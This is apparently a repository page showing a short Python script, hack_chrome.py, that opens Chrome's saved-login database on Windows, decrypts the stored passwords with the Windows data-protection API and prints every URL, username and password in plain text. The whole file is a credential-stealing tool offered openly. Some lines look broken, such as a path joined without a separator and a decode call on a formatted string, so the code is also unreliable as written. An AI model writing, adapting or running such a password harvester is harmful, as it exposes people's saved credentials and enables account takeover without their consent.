-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathhack_chrome.py
More file actions
26 lines (19 loc) · 771 Bytes
/
hack_chrome.py
File metadata and controls
26 lines (19 loc) · 771 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import os
import sqlite3
import win32crypt
def getChrome():
dataPath = os.path.expanduser('~') + r'AppData\Local\Google\Chrome\User Data\Default\Login Data'
connect = sqlite3.connect(dataPath)
cursor = connect.cursor()
selectStatement = 'SELECT origin_url, username_value, password_value FROM logins'
cursor.execute(selectStatement)
loginData = cursor.fetchall()
credential = {}
string = ""
for url, userName, pwd in loginData:
pwd = win32crypt.CryptUnprotectData(pwd)
credential[url] = (userName, pwd[1].decode('utf8'))
string += '\n[+] URL:%s USERNAME:%s PASSWORD:%s\n' % (url, userName, pwd[1]).decode('utf8')
print(string)
if __name__ == '__main__':
getChrome()